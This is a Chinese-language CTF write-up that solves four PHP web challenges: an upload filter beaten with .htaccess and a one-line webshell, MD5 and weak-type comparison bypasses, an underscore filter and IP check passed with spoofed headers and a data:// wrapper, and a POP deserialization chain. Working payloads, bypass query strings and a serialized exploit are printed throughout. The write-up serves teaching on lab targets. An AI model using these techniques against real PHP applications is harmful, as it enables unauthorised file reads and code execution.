1. 你传你🐎呢 打开题目,是一道文件上传题。
上传最普通的php文件,<?php phpinfo();?>
,不过肯定不行,不可能这么简单。经过测试之后,是Content-Type
有问题,后端会检查该类型,只能接收Content-Type:image/png
类型的文件,并且文件名后缀不能是以下几种常见的php文件类型:
但是可以上传.htaccess
后缀文件,这就好办多了。
第一步,上传.htaccess
使其能解析图片中的php命令。
这里一般有两种方法:
1 2 3 <FilesMatch "vuln" > SetHandler application/x-httpd-php </FilesMatch>
这表示用php解析vuln
文件中的内容。
上传一句话木马:
第二种方法:
1 AddType application/x-httpd-php .jpg
这表示用php解析.jpg
后缀的文件。
但在调用system()
函数读取flag文件的时候却发现system()
函数被禁用了。
打印phpinfo()
查看所有的disables_functions:
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld
但是我们还可以用show_source()
或是`highlight_file()函数来读取flag文件。
2. ez_bypass 打开题目发现就是代码审计的题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for you include 'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset ($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input first
第一层需要绕过md5比较,方法比较简单,md5不能对数组元素进行加密,所以只要用数组绕过即可
第二层是关于POST参数$passwd
的弱类型比较,$passwd==1234567
,令$passwd=1234567aa
即可
最后的payload就是:
1 2 3 4 ?gg[]=111&id[]=222 // POST passwd=1234567s
获得flag。
3. 套娃 打开题目右键view-source得到源码:
1 2 3 4 5 6 7 8 9 10 11 <!-- $query = $_SERVER['QUERY_STRING' ]; if ( substr_count($query, '_' ) !== 0 || substr_count($query, '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){ echo "you are going to the next ~" ; } !-->
这里第2个if很好绕过,在正则表达式中,$可以匹配行尾或者一个换行符 ,所以在字符串23333
的后面加一个换行符%0a
就可以绕过。
第一个if需要query_string中不包含_
,一般这种情况我们会尝试编码绕过,因为query_string不会进行urldecode,但是编码后的_
为%5f
也被过滤了。所以这里需要找其他替代字符。
这里有一个关于php的小技巧,php会将通过$_GET
请求传入的参数中的非法字符转换为下划线。
可以fuzz来看一下有哪些字符会被php认为是非法字符。
1 2 3 4 5 6 <?php foreach ($_GET as $re => $str) { echo $re; } ?>
这里又分成两种情况:
非法字符为首字符时:只有.
被替换为_
非法字符不为首字符时:
题目属于情况2,所以我们可以用以下几种来替代_
绕过第一个if条件:
1 2 3 4 1. b u p t 2. b+u+p+t 3. b.u.p.t 4. b[u[p[t // 但其实这个不行,不太清楚原因
最后得到:
访问secrettw.php
:
发现一串用JSFUCK表示的js代码,拿去解码得到:post me Merak
。
请求secrettw.php
时加一个post参数Merak=1
即可得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip;if ($ip === '127.0.0.1' && file_get_contents($_GET['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET['file' ]);echo file_get_contents(change($_GET['file' ])); }?>
这里的if条件语句需要本地访问,伪造http请求头:
1 2 3 X-Forwarded-For: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1
第二个点就是需要绕过file_get_contents()
,用data://
伪协议就可以了。
然后源码会对用户传入的$_GET['file']
参数进行解密,所以我们需要先传入一个加密后的参数值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function change ($v) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } function unchange ($v) { $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } $v = base64_encode($re); return $v; } $a = unchange('flag.php' ); echo $a;?>
最后得到的payload为:
1 secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
4. EzPOP 打开题目,发现是一道反序列化代码审计题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class Modifier { protected $var; public function append ($value) { include ($value); } public function __invoke () { $this ->append($this ->var); } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString () { return $this ->str->source; } public function __wakeup () { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct () { $this ->p = array (); } public function __get ($key) { $function = $this ->p; return $function(); } } if (isset ($_GET['pop' ])){ @unserialize($_GET['pop' ]); } else { $a=new Show; highlight_file(__FILE__ ); }
https://ctf.ieki.xyz/library/php.html 中列出了一些与反序列化相关的魔术方法:
1 2 3 4 5 6 7 8 9 __construct()//当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep()//在对象在被序列化之前运行 __wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过) __get()//获得一个类的成员变量时调用 __set()//设置一个类的成员变量时调用 __invoke()//调用函数的方式调用一个对象时的回应方法 __call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
上面比较不常见的是__invoke()
,它是在将对象当作函数来使用的时候,会自动调用该方法,举个例子:
回到本道题目,我们知道:
读取flag的关键点就在Modifier
中append()
方法中的include($value);
,该方法在该类的魔术方法__invoke()
方法中被调用,所以需要触发__invoke()
方法,只要直接将Modifier
类当作函数来调用即可;
当Show
类被创建时,__construct()
函数被调用,其中有echo
,所以会调用__toString()
方法;
__toString()
方法会访问$this->str->source
属性,令src
是Test
类的一个实例,Test
类会调用__get()
魔术方法;
__get()
方法会将它的p
属性当成函数调用,令$this->p=Modifier()
,会返回一个return Modifier()
,从而触发了Modifier
类中的__invoke()
方法;
__invoke()
方法调用了append()
方法,该方法会include($value)
,令$value
为flag.php
源码即可。
对应的poc为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source; public $str; public function __construct ($file) { $this ->source = $file; echo "Welcome to " . $this ->source. "<br>" ; } public function __toString () { return "bantttian" ; } } class Test { public $p; public function __construct () { $this ->p = new Modifier(); } } $o = new Show('aaa' ); $o->str = new Test(); $bantian = new Show($o); echo serialize($bantian);
得到结果:
1 O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
进行urlencode
操作,传入pop参数得到base64加密后的flag.php
文件源码,base64解密就可得到flag。
最近实在是有点忙,还有一半多的题目没有做,只能忙里偷闲找时间做了。
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好